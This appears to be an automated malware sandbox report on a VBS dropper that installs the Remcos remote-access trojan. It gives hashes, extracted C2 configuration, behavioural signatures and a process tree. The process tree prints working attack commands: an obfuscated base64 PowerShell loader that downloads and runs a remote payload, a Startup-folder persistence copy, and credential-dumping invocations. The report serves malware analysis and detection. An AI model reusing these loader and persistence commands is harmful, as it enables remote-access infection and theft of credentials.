Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/10/2024, 01:28

General

  • Target

    705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139.vbs

  • Size

    486KB

  • MD5

    bfe8bd92459f45bda7c2144a9ae3ad70

  • SHA1

    5c8a674b4dec5b7c6bfe579d5ba7c30bd426b66f

  • SHA256

    705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139

  • SHA512

    fbd3c5fa3bf90cec9227912c203898870716d0cb50b0a6caade19aaf4493dce3cc4a7c1a77c713fe8963159d3195837ca1ef6dcfde8700fceed633aa7c3e7d06

  • SSDEEP

    12288:KZejbep/wU35vTs06uFBRBzPupRWdOrDt/bDqPm3hqekZEeWZCmHFLCCAYpdStSU:NX2oZLRgIZ2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

NEWS

C2

ab9001.ddns.net:35890

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vlc.exe

  • copy_folder

    vlc

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    Rmc-YJH0WY

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    reg

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:3136
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUV4ICgoJ2wnKydjJysnWicrJ3VybCA9JysnIFU4Y2h0dHAnKydzOi8vJysncmF3LicrJ2dpdCcrJ2h1YicrJ3UnKydzZXInKydjbycrJ250JysnZW50LmNvbS8nKydOb0RldGVjdE9uL05vRGV0ZScrJ2N0TycrJ24vcmVmcy8nKydoZScrJ2FkcycrJy9tYWluL0RlJysndGEnKydoTm90JysnaC1WLnR4dCcrJ1U4YzsgJysnbGMnKydaYmFzZTY0JysnQ28nKydudGVudCA9ICcrJyhOZXctT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2wnKydpZW50KS5Eb3cnKyduJysnbG9hJysnZFN0cmknKyduZygnKydsYycrJ1p1cmwnKycpJysnOyBsJysnY1piaW5hcnlDb250ZScrJ250ID0gW1MnKyd5JysncycrJ3RlbS5DbycrJ252ZXInKyd0XTonKyc6JysnRnJvbUJhJysnc2UnKyc2JysnNFN0cmluZyhsY1onKydiYXNlNjRDb250ZW4nKyd0KScrJzsnKycgbGNaYXNzJysnZW0nKydibHkgJysnPSBbJysnUmVmbCcrJ2VjdGknKydvbi5BcycrJ3NlbWJseV06OkxvJysnYWQobCcrJ2MnKydaJysnYmluJysnYXJ5JysnQ29udGVuJysndCknKyc7JysnIFtkbmxpYi4nKydJTy5Ib20nKydlJysnXTo6JysnVkFJKFI3ODAnKycvQ28nKydoJysnblUvZC8nKydlZS5lJysndCcrJ3NhcC8nKycvOnNwdHQnKydoUicrJzc4LCBSNzhkZXMnKydhdCcrJ2knKyd2YWRvUjc4LCcrJyBSNycrJzgnKydkZXNhdGknKyd2JysnYWQnKydvUjc4LCAnKydSNzhkZXNhJysndCcrJ2knKyd2YWRvUjc4JysnLCBSNycrJzhBZGRJblAnKydyb2Nlc3MzMlInKyc3OCwgUjc4UicrJzc4LFI3OFI3OCcrJyknKS5yRXBsYWNFKCdsY1onLFtzdHJJTkddW0NIQXJdMzYpLnJFcGxhY0UoKFtDSEFyXTg1K1tDSEFyXTU2K1tDSEFyXTk5KSxbc3RySU5HXVtDSEFyXTM5KS5yRXBsYWNFKChbQ0hBcl04MitbQ0hBcl01NStbQ0hBcl01NiksW3N0cklOR11bQ0hBcl0zNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEx (('l'+'c'+'Z'+'url ='+' U8chttp'+'s://'+'raw.'+'git'+'hub'+'u'+'ser'+'co'+'nt'+'ent.com/'+'NoDetectOn/NoDete'+'ctO'+'n/refs/'+'he'+'ads'+'/main/De'+'ta'+'hNot'+'h-V.txt'+'U8c; '+'lc'+'Zbase64'+'Co'+'ntent = '+'(New-Object S'+'ystem.Net.WebCl'+'ient).Dow'+'n'+'loa'+'dStri'+'ng('+'lc'+'Zurl'+')'+'; l'+'cZbinaryConte'+'nt = [S'+'y'+'s'+'tem.Co'+'nver'+'t]:'+':'+'FromBa'+'se'+'6'+'4String(lcZ'+'base64Conten'+'t)'+';'+' lcZass'+'em'+'bly '+'= ['+'Refl'+'ecti'+'on.As'+'sembly]::Lo'+'ad(l'+'c'+'Z'+'bin'+'ary'+'Conten'+'t)'+';'+' [dnlib.'+'IO.Hom'+'e'+']::'+'VAI(R780'+'/Co'+'h'+'nU/d/'+'ee.e'+'t'+'sap/'+'/:sptt'+'hR'+'78, R78des'+'at'+'i'+'vadoR78,'+' R7'+'8'+'desati'+'v'+'ad'+'oR78, '+'R78desa'+'t'+'i'+'vadoR78'+', R7'+'8AddInP'+'rocess32R'+'78, R78R'+'78,R78R78'+')').rEplacE('lcZ',[strING][CHAr]36).rEplacE(([CHAr]85+[CHAr]56+[CHAr]99),[strING][CHAr]39).rEplacE(([CHAr]82+[CHAr]55+[CHAr]56),[strING][CHAr]34) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3848
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3060
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\masbqwgxhwdfce"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1008
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\xuxuqprqvfvkekojdz"
            5⤵
            • Accesses Microsoft Outlook accounts
            • System Location Discovery: System Language Discovery
            PID:1804
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\zwlerzcsjnnxoycnmkpjq"
            5⤵
              PID:972
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\zwlerzcsjnnxoycnmkpjq"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4864

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      3e6a0f897ab7035378e6249f0a9e99e9

      SHA1

      a2c4d17da1f47645fda5284fbee10027bc7f7665

      SHA256

      ad6b45abdf2a7d42ab5417a7499121da8735e918341774d27e6af0f7dd2ae152

      SHA512

      8586716dc36454f218527930e3454bdcb368cafaa11758a70e3a0e8ada5332b11f629b52437020953d7ae44fa3be8a1b5da4a4abe4bab0851636f7408f48750f

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tcazowrh.uqb.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\masbqwgxhwdfce

      Filesize

      4KB

      MD5

      c0ab2847671ed5375328c5127a02cc72

      SHA1

      dc2bcb51562fb17e5c8787833bc0181d88a5b75e

      SHA256

      e961f466a0638bc99182d0056245e2d8bf1ccc13a189b802aada981f379e2384

      SHA512

      0b8b634d21ac71e02cef86687bf84b6fcecfd24dafab8130f42ce8b4b3f308a2e1b1fa7bf8d37f2eda76efae2b30b8d39f41d808d771562d8545ed144241924f

    • C:\Users\Admin\remcos\logs.dat

      Filesize

      144B

      MD5

      3e843b0216a87f8e8c8aef7c35bde79f

      SHA1

      88921a5f0b19c8b63ce426ed4b89eca796e70183

      SHA256

      441b0bdc7e22796383395565b6901abc49019a460171b3798c2e3fcd2d8a8e53

      SHA512

      40083375e6f2c02e9c04918aebf853ba3fd455aef3bbc16c407752ed8fc07073290e50eaf5626d15bd8079d479c84599b2f80d5c84650aa04027aaa2cfd27af2

    • memory/1008-58-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1008-63-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1008-66-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1804-65-0x0000000000400000-0x0000000000457000-memory.dmp

      Filesize

      348KB

    • memory/1804-60-0x0000000000400000-0x0000000000457000-memory.dmp

      Filesize

      348KB

    • memory/1804-59-0x0000000000400000-0x0000000000457000-memory.dmp

      Filesize

      348KB

    • memory/2796-17-0x00007FFB05690000-0x00007FFB06151000-memory.dmp

      Filesize

      10.8MB

    • memory/2796-16-0x00007FFB05690000-0x00007FFB06151000-memory.dmp

      Filesize

      10.8MB

    • memory/2796-1-0x00007FFB05693000-0x00007FFB05695000-memory.dmp

      Filesize

      8KB

    • memory/2796-13-0x00007FFB05690000-0x00007FFB06151000-memory.dmp

      Filesize

      10.8MB

    • memory/2796-12-0x00007FFB05690000-0x00007FFB06151000-memory.dmp

      Filesize

      10.8MB

    • memory/2796-2-0x000001D66BB70000-0x000001D66BB92000-memory.dmp

      Filesize

      136KB

    • memory/3060-52-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-86-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-51-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-55-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-57-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-50-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-49-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-48-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-47-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-44-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-43-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-103-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-102-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-94-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-39-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-72-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-95-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-78-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-79-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-53-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3060-87-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/3848-38-0x000001A9F6660000-0x000001A9F6880000-memory.dmp

      Filesize

      2.1MB

    • memory/4864-61-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/4864-62-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/4864-64-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB